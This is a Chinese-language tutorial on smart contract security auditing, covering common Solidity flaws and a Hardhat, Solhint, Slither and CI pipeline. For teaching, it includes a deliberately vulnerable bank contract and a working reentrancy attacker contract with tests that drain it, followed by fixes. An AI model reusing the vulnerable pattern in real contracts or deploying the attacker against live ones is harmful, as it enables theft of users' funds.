区块链智能合约安全审计实战:从常见漏洞识别到自动化检测流程搭建
智能合约一旦部署,很多时候就像“写进石头里”。代码有 bug,不是简单发个补丁就完事,尤其涉及资产转移时,漏洞往往直接等于损失。
我自己第一次系统做合约审计时,最大的感受不是“漏洞多难找”,而是没有流程比不会工具更危险。只靠肉眼扫代码,容易漏;只迷信工具,也会被误报带偏。本文就从实战角度,把一个中级开发者能真正落地的审计流程串起来:先识别常见漏洞,再把静态分析、测试、CI 自动化串成一条线。
背景与问题
智能合约安全审计的难点,通常不在“知道有哪些漏洞”,而在:
-
漏洞模式多,但上下文差异很大
- 重入、权限控制、整数边界、预言机操纵、闪电贷组合攻击……
- 同样是
call,有时是危险点,有时只是必要的外部交互。
-
代码正确,不代表业务安全
- 合约逻辑没有语法问题,但经济模型可能可被操纵。
- 比如奖励计算、清算阈值、价格源依赖。
-
人工审计容易受经验偏差影响
- 新手容易只盯着
reentrancy - 老手有时会忽略“初始化失误”“事件缺失”“升级存储冲突”这类低级但致命的问题
- 新手容易只盯着
-
上线前没有自动化门禁
- 本地看着没问题,合并代码时引入回归
- 缺少 lint、静态分析、单元测试、属性测试、gas 基线检查
所以,比较靠谱的做法不是“找一个神奇工具”,而是建立一个分层审计模型:
- 第一层:人工建模
- 第二层:静态工具扫描
- 第三层:测试与攻击复现
- 第四层:CI 自动化拦截
前置知识
如果你准备跟着做,建议先具备这些基础:
- 会看 Solidity 0.8.x 合约
- 知道 ERC20 / Ownable / AccessControl 的常见用法
- 用过 Node.js 和 npm
- 对 Hardhat 或 Foundry 至少熟悉一个
本文示例尽量选 Hardhat,原因很简单:上手快、生态全、做自动化也顺手。
环境准备
先准备一个最小项目:
mkdir contract-audit-demo
cd contract-audit-demo
npm init -y
npm install --save-dev hardhat @nomicfoundation/hardhat-toolbox
npx hardhat
再安装审计相关工具:
npm install --save-dev solhint
npm install --save-dev @openzeppelin/contracts
pip3 install slither-analyzer
如果你本机没有 Python 环境,slither 可以先放到 CI 容器里执行,本文后面也会给自动化示例。
核心原理
1. 审计到底在看什么
我一般会把审计拆成四个问题:
- 钱能不能被偷走
- 权限能不能被绕过
- 状态会不会错乱
- 系统能不能被卡死或滥用
这四个问题,基本可以映射到大部分漏洞类别。
2. 常见漏洞识别框架
下面这张图可以作为审计时的“脑内检查表”。
flowchart TD
A[开始审计] --> B[识别资产流]
B --> C[识别权限边界]
C --> D[识别外部调用]
D --> E[识别状态更新顺序]
E --> F[识别价格/时间/随机数依赖]
F --> G[识别升级与初始化逻辑]
G --> H[构建攻击路径]
H --> I[静态分析与测试验证]
3. 常见漏洞类型与判断方法
重入攻击
典型特征:
- 先执行外部调用
- 再更新余额或状态
- 外部对象可控
危险模式:
(bool ok, ) = msg.sender.call{value: amount}("");
require(ok, "transfer failed");
balances[msg.sender] -= amount;
正确思路通常是:
- 先更新状态,再外部调用
- 或使用重入锁
- 或改为 pull payment 设计
权限控制缺失
常见表现:
- 管理函数没加
onlyOwner - 初始化函数可被重复调用
- 使用
tx.origin做鉴权
整数边界与精度问题
Solidity 0.8+ 已有溢出检查,但风险还在:
- 强制
unchecked - 小数换算错误
- 奖励分配时先除后乘导致精度损失
拒绝服务(DoS)
比如:
- 遍历超大数组导致 gas 用尽
- 单个恶意地址阻塞批量结算
- 依赖外部合约返回值,导致核心流程被卡住
时间、价格与随机数依赖
区块链上这些值都不是绝对可信:
block.timestamp可被小范围操纵blockhash不是安全随机数- 单一预言机价格可能被短时操纵
用一个最小案例带你走一遍
下面我故意写一个有问题的合约,包含两个很典型的漏洞:
withdraw可重入setRewardRate没有权限控制
漏洞合约
// contracts/VulnerableBank.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
contract VulnerableBank {
mapping(address => uint256) public balances;
uint256 public rewardRate = 10;
address public owner;
constructor() {
owner = msg.sender;
}
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function setRewardRate(uint256 newRate) external {
rewardRate = newRate;
}
function withdraw(uint256 amount) external {
require(balances[msg.sender] >= amount, "insufficient balance");
(bool ok, ) = msg.sender.call{value: amount}("");
require(ok, "transfer failed");
balances[msg.sender] -= amount;
}
function rewardOf(address user) external view returns (uint256) {
return balances[user] * rewardRate / 100;
}
}
实战代码(可运行)
这一部分我们做三件事:
- 编写攻击合约复现重入
- 写测试证明漏洞存在
- 修复合约并重新验证
第一步:攻击合约
// contracts/Attacker.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
interface IVulnerableBank {
function deposit() external payable;
function withdraw(uint256 amount) external;
}
contract Attacker {
IVulnerableBank public target;
uint256 public attackAmount;
constructor(address _target) {
target = IVulnerableBank(_target);
}
function attack() external payable {
require(msg.value >= 1 ether, "need at least 1 ether");
attackAmount = 1 ether;
target.deposit{value: 1 ether}();
target.withdraw(1 ether);
}
receive() external payable {
if (address(target).balance >= attackAmount) {
target.withdraw(attackAmount);
}
}
}
第二步:编写 Hardhat 测试
// test/vulnerableBank.js
const { expect } = require("chai");
const { ethers } = require("hardhat");
describe("VulnerableBank Audit Demo", function () {
let bank, attacker, owner, user, evil;
beforeEach(async function () {
[owner, user, evil] = await ethers.getSigners();
const Bank = await ethers.getContractFactory("VulnerableBank");
bank = await Bank.deploy();
await bank.waitForDeployment();
const Attacker = await ethers.getContractFactory("Attacker");
attacker = await Attacker.connect(evil).deploy(await bank.getAddress());
await attacker.waitForDeployment();
await bank.connect(user).deposit({ value: ethers.parseEther("5") });
});
it("should allow unauthorized reward rate change", async function () {
await bank.connect(evil).setRewardRate(999);
expect(await bank.rewardRate()).to.equal(999n);
});
it("should be vulnerable to reentrancy", async function () {
const bankAddress = await bank.getAddress();
await evil.sendTransaction({
to: await attacker.getAddress(),
value: ethers.parseEther("1"),
});
const before = await ethers.provider.getBalance(bankAddress);
await attacker.connect(evil).attack({ gasLimit: 1_000_000 });
const after = await ethers.provider.getBalance(bankAddress);
expect(after).to.be.lessThan(before);
});
});
运行:
npx hardhat test
如果环境正常,你会看到测试通过,说明漏洞确实能被复现。这一步非常关键:审计不是“猜风险”,而是“验证风险”。
修复版本
接下来给出修复后的实现。这里用了三个策略:
- 为敏感函数加
onlyOwner - 采用 checks-effects-interactions 顺序
- 增加简单重入锁
// contracts/SafeBank.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
contract SafeBank {
mapping(address => uint256) public balances;
uint256 public rewardRate = 10;
address public owner;
bool private locked;
modifier onlyOwner() {
require(msg.sender == owner, "not owner");
_;
}
modifier nonReentrant() {
require(!locked, "reentrant call");
locked = true;
_;
locked = false;
}
constructor() {
owner = msg.sender;
}
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function setRewardRate(uint256 newRate) external onlyOwner {
require(newRate <= 100, "rate too high");
rewardRate = newRate;
}
function withdraw(uint256 amount) external nonReentrant {
require(balances[msg.sender] >= amount, "insufficient balance");
balances[msg.sender] -= amount;
(bool ok, ) = msg.sender.call{value: amount}("");
require(ok, "transfer failed");
}
function rewardOf(address user) external view returns (uint256) {
return balances[user] * rewardRate / 100;
}
}
第三步:修复验证测试
// test/safeBank.js
const { expect } = require("chai");
const { ethers } = require("hardhat");
describe("SafeBank Audit Fix Demo", function () {
let bank, attacker, owner, user, evil;
beforeEach(async function () {
[owner, user, evil] = await ethers.getSigners();
const Bank = await ethers.getContractFactory("SafeBank");
bank = await Bank.deploy();
await bank.waitForDeployment();
const Attacker = await ethers.getContractFactory("Attacker");
attacker = await Attacker.connect(evil).deploy(await bank.getAddress());
await attacker.waitForDeployment();
await bank.connect(user).deposit({ value: ethers.parseEther("5") });
});
it("should block unauthorized reward rate change", async function () {
await expect(
bank.connect(evil).setRewardRate(999)
).to.be.revertedWith("not owner");
});
it("should resist reentrancy attack", async function () {
await evil.sendTransaction({
to: await attacker.getAddress(),
value: ethers.parseEther("1"),
});
await expect(
attacker.connect(evil).attack({ gasLimit: 1_000_000 })
).to.be.reverted;
});
});
运行:
npx hardhat test
自动化检测流程搭建
现在进入真正实用的部分:把“发现漏洞”变成“每次提交都自动检查”。
推荐的流水线分层
flowchart LR
A[代码提交] --> B[Solhint 语法与规范检查]
B --> C[Hardhat Compile]
C --> D[单元测试]
D --> E[Slither 静态分析]
E --> F[覆盖率与关键路径检查]
F --> G[人工复核高危项]
1. 代码规范检查:Solhint
新增配置:
// .solhint.json
{
"extends": "solhint:recommended",
"rules": {
"func-visibility": "warn",
"avoid-low-level-calls": "warn",
"not-rely-on-time": "warn"
}
}
执行:
npx solhint "contracts/**/*.sol"
这个阶段主要抓“坏味道”,例如:
- 低级调用
- 依赖时间戳
- 可见性不清
- 命名与风格问题
它不是漏洞扫描器,但很适合做第一道门。
2. 静态分析:Slither
直接运行:
slither . --exclude-dependencies
如果项目基于 Hardhat 编译,通常 Slither 能识别大部分结构。它特别适合抓:
- 重入风险
- 未初始化状态变量
- 受控外部调用
- 死代码
- 未检查返回值
- 权限问题候选点
我在实际项目里常做的一件事是:不要追求 Slither 零告警,而是建立高危告警的处理机制。否则误报太多,团队会很快对工具失去耐心。
3. GitHub Actions 自动化
下面给一个可以直接改造的 CI 示例:
# .github/workflows/contract-security.yml
name: Contract Security Pipeline
on:
push:
branches: [main, develop]
pull_request:
jobs:
audit:
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v4
- name: Setup Node.js
uses: actions/setup-node@v4
with:
node-version: 20
- name: Setup Python
uses: actions/setup-python@v5
with:
python-version: "3.11"
- name: Install Node dependencies
run: npm ci
- name: Install Slither
run: pip install slither-analyzer
- name: Lint Solidity
run: npx solhint "contracts/**/*.sol"
- name: Compile
run: npx hardhat compile
- name: Run tests
run: npx hardhat test
- name: Run Slither
run: slither . --exclude-dependencies
这份流水线很基础,但已经能解决一个现实问题:把审计从“上线前临时检查”前移到“开发过程持续检查”。
审计工作流怎么落地
很多团队最大的问题,不是没有工具,而是不知道先做什么、后做什么。下面这个顺序比较适合中级开发者执行。
sequenceDiagram
participant Dev as 开发者
participant Test as 测试框架
participant Tool as 静态分析工具
participant Reviewer as 审计者
Dev->>Dev: 阅读合约与业务说明
Dev->>Dev: 标记资产、权限、外部调用点
Dev->>Test: 编写正常路径测试
Dev->>Test: 编写攻击/异常路径测试
Dev->>Tool: 运行 Solhint/Slither
Tool-->>Dev: 输出风险候选项
Dev->>Reviewer: 提交漏洞复现与修复说明
Reviewer-->>Dev: 复核并确认上线风险
逐步验证清单
如果你想在项目里照着做,这份清单可以直接拿去用。
合约级检查
- 所有改状态的管理函数都有限制权限
- 初始化逻辑只能执行一次
- 外部调用前是否已更新关键状态
- 是否存在可重入路径
- 是否依赖时间戳、区块哈希、单一价格源
- 循环是否可能导致 gas 爆炸
- 精度换算是否先乘后除
- 是否有事件日志支撑链上追踪
测试级检查
- 正常流程测试通过
- 权限绕过测试存在
- 边界值测试存在
- 恶意合约交互测试存在
- 回归测试覆盖历史漏洞
自动化级检查
- PR 自动执行 compile
- PR 自动执行 test
- PR 自动执行 lint
- PR 自动执行 slither
- 高危告警阻止合并
常见坑与排查
这一部分我尽量说得接地气一点,因为这些问题真的很常见。
坑 1:以为 Solidity 0.8+ 就没有整数问题了
不是。自动溢出检查只解决了一部分问题,下面这些仍然危险:
- 精度截断
- 小数位不一致
- 汇率换算顺序错误
unchecked块误用
排查方法:
- 查所有金额计算路径
- 用 1、极小值、极大值、临界值写测试
- 对奖励、手续费、清算比例单独做断言
坑 2:测试通过了,但其实没测到攻击路径
很多人写的“安全测试”其实只是调用一下函数,看能不能 revert。问题是,真正的攻击往往需要恶意合约配合。
比如重入攻击,如果你不写 receive() 或 fallback 递归调用,根本复现不了。
排查方法:
- 对涉及外部调用的函数,优先写攻击合约
- 检查测试是否覆盖“调用链”而不仅是“单函数”
坑 3:Slither 报一堆 warning,不知道先修哪个
经验上可以按这个优先级分:
- 资产损失直接相关
- 权限提升相关
- 状态错乱相关
- 可用性问题
- 风格与低风险提示
不要一上来试图把所有 warning 全消掉。那样很容易把时间花在低价值项上。
坑 4:把 tx.origin 当作身份校验
这是老坑,但现在依然偶尔能见到。攻击者可以通过中间合约诱导用户发起调用,从而绕过你的设计意图。
建议:
- 一律用
msg.sender做权限判断 - 如果是元交易或代理场景,明确使用受信转发方案
坑 5:升级合约只审实现,不审存储布局
如果你用的是代理升级模式,存储布局冲突会直接把状态写坏。这个问题工具不一定完全兜得住。
排查方法:
- 保留 storage gap
- 审核新增变量顺序
- 升级前在测试环境跑迁移校验
- 对历史状态做快照回放
安全/性能最佳实践
安全和性能在链上经常是绑在一起的。gas 过高不只是贵,很多时候还会变成可用性问题。
1. 优先采用成熟库
例如 OpenZeppelin 的:
OwnableAccessControlReentrancyGuardPausable
不要为了“代码短一点”自己重写权限和锁。除非你非常确定自己在做什么。
示例:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
contract BetterBank is Ownable, ReentrancyGuard {
mapping(address => uint256) public balances;
constructor(address initialOwner) Ownable(initialOwner) {}
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw(uint256 amount) external nonReentrant {
require(balances[msg.sender] >= amount, "insufficient");
balances[msg.sender] -= amount;
(bool ok, ) = msg.sender.call{value: amount}("");
require(ok, "transfer failed");
}
}
2. 用“拉取”替代“批量推送”
如果你要给很多用户分发奖励,不要在一笔交易里循环给所有人转账。更好的方式是:
- 合约记录可领取额度
- 用户自己来领
这样好处有两个:
- 避免 gas 超限
- 降低因单个失败地址导致整批失败的风险
3. 外部依赖要设边界
包括但不限于:
- 价格源异常时暂停关键功能
- 管理操作增加 timelock
- 对最大费率、最大单笔金额设上限
- 紧急暂停功能要可用且权限清晰
4. 日志事件不要省
很多团队觉得事件只是“前端方便读”。其实在审计和事故排查里,事件非常有用:
- 还原攻击路径
- 分析参数变化
- 追踪管理员操作
- 支撑监控告警
5. 为关键不变量写测试
所谓不变量,简单理解就是“无论怎么调用,都不该被打破的规则”。
比如:
- 合约总余额 >= 用户余额总和
- 未授权账户不能改管理参数
- 每次提款后用户余额正确减少
- 清算后债务和抵押状态依然一致
哪怕你暂时不用高级 fuzz 工具,先把这些规则写成普通测试,也会非常有帮助。
一个更实用的审计思路:先画资产流
很多人一上来就逐行看代码,效率其实不高。我更推荐先做这件事:
- 资金从哪里进入
- 谁能改账本
- 谁能触发转出
- 哪些步骤依赖外部合约
- 失败时状态会不会回滚
你会发现,很多高危问题在“资产流图”层面就能看出来。
flowchart TD
U[用户] -->|deposit| C[合约余额增加]
C -->|记录| B[balances映射]
A[管理员] -->|setRewardRate| P[奖励参数]
U -->|withdraw| X{先更新状态?}
X -->|否| R[存在重入风险]
X -->|是| S[风险显著降低]
边界条件与适用范围
这套流程适合:
- DeFi 小中型协议
- 钱包、资金池、质押、奖励分发类合约
- 团队内部建立基础安全门禁
但它不等于完整专业审计。以下情况,建议一定要引入资深安全团队:
- 涉及复杂经济模型
- 多合约组合与升级代理
- 依赖预言机、清算、AMM 定价
- TVL 高、上线影响大
- 有跨链桥、签名验证、密码学逻辑
换句话说,本文的方法更像是:把明显的、常见的、可自动化发现的问题尽量前置消灭,而不是替代深度安全评估。
总结
做智能合约安全审计,最怕两种极端:
- 只靠人工经验,不建流程
- 只靠自动化工具,不做业务理解
更稳妥的做法是:
- 先从资产、权限、外部调用三条主线读代码
- 针对重入、权限、边界值、DoS 等常见问题建立检查表
- 用攻击合约和测试把风险真正复现出来
- 把 Solhint、Slither、单元测试接入 CI
- 把高危问题的处理规则制度化,而不是靠临时救火
如果你现在就想开始落地,我建议最小可执行方案如下:
- 今天先把现有合约补上权限与攻击路径测试
- 本周把
solhint + hardhat test + slither接入 PR 流程 - 下周开始沉淀一份你们团队自己的“审计检查清单”
这样做的价值很实际:不是保证绝对安全,而是显著降低“本可避免”的低级事故概率。在链上世界,这已经很值钱了。